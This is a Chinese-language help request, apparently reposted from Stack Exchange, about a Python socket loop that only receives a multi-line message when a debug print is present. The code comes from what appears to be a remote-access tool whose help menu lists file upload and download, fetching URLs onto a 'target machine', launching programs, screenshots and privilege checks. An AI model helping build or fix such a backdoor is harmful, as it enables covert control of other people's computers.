移除print语句后Python Socket通信中断,仅添加调试print时才可正常工作的问题求助
移除print语句后Python Socket通信中断,仅添加调试print时才可正常工作的问题求助
我在做Python Socket通信的时候遇到了一个特别奇怪的问题:发送多行字符串内容时,接收端的循环只有在保留一条调试用的print语句时才能正常完成,一旦删掉这个print,接收逻辑就会卡住,永远等不到结束标记。
发送端的代码(处理help命令,发送多行帮助内容)
这是我这边发送多行字符串的逻辑,把帮助内容按行拆分后逐个发送,最后发送"END"作为结束标记:
elif command=="help": help_options=''' download <path> -> Download a File from Target Machine upload <path> -> Upload a File to Targe get <url> -> Download a File to Target Machine from Internet start <program> -> Start Program on Target Machine screenshot -> Take screenshot of the Target Screen check -> Check for Administrator Privileges ''' lines=help_options.splitlines() for line in lines: send_payload(line.encode("utf-8")) send_payload("END".encode("utf-8"))
接收端的代码(客户端接收help内容)
接收端我写了循环来拼接内容,直到收到"END"为止。但试了好几种调整方式都没用,只有保留那条调试print语句时才能正常工作:
elif command=="help": complete_message="" while True: line=receive_payload() # ---- 第一次尝试失败 # if not line: # time.sleep(0.01) # continue # --- 第二次尝试失败 # if not line: # continue # --- 第三次尝试失败 # time.sleep(0.01) # ------- 只有保留这个print语句才能正常运行 # print(f"line {line}") if line=="END": break if isinstance(line,bytes): complete_message += line.decode('utf-8') + "\n" else: complete_message+=line+"\n" print(complete_message)
奇怪的现象
只要把print(f"line {line}")这行注释掉,接收循环就会卡住,永远触发不了line=="END"的判断;但只要把这行print加回去,就能正常接收所有行内容,然后触发break,顺利打印出完整的帮助信息。
我怀疑是不是Socket缓冲区的问题,或者数据分块处理的逻辑有漏洞?试了加sleep、判断空行这些方法都没用,只有print能"救场",实在搞不懂为什么。
补充:send_payload和receive_payload的实现
我确认这两个函数在其他命令场景下是正常工作的,不过还是贴出来供大家参考:
send_payload函数
def send_payload(data): if isinstance(data, bytes): # 二进制数据(比如文件)先转base64 data = base64.b64encode(data).decode('utf-8') padding = len(data) % 4 if padding != 0: data += "=" * (4 - padding) # 手动补全base64的padding # 把数据包装成JSON格式发送,避免消息拆分或格式问题 json_data = json.dumps({"data": data}) # 打包成字典再序列化为JSON字符串 sock.send(json_data.encode("utf-8")) print("data is sent from target machine")
receive_payload函数
def receive_payload(): json_data = "" while True: try: chunk = target.recv(1024).decode("utf-8") print(f"Chunk received: {chunk}") if not chunk: break json_data += chunk # 拼接收到的JSON片段 try: data = json.loads(json_data) # 尝试解析完整的JSON file_data = data.get("data") if file_data: # 补全base64的padding padding = len(file_data) % 4 if padding != 0: print(f"Adding {4 - padding} padding to base64 data.") file_data += "=" * (4 - padding) # 解码base64数据 file_data = base64.b64decode(file_data) return file_data # 返回解码后的数据 except base64.binascii.Error as e: print(f"Error during base64 decoding: {e}") pass return None # 如果不是base64编码的数据,返回None except json.JSONDecodeError: # 收到的JSON不完整,继续等待更多数据 print("Incomplete JSON received. Waiting for more data.") continue
有没有大佬能帮我分析一下,为什么只有加了那个print语句接收逻辑才能正常工作?是不是我在接收或者发送的逻辑里有什么隐性的问题?比如Socket的缓冲区处理、消息边界的判断,或者是receive_payload函数里的逻辑漏洞?
备注:内容来源于stack exchange,提问作者Yilmaz
相关产品推荐
相关产品推荐

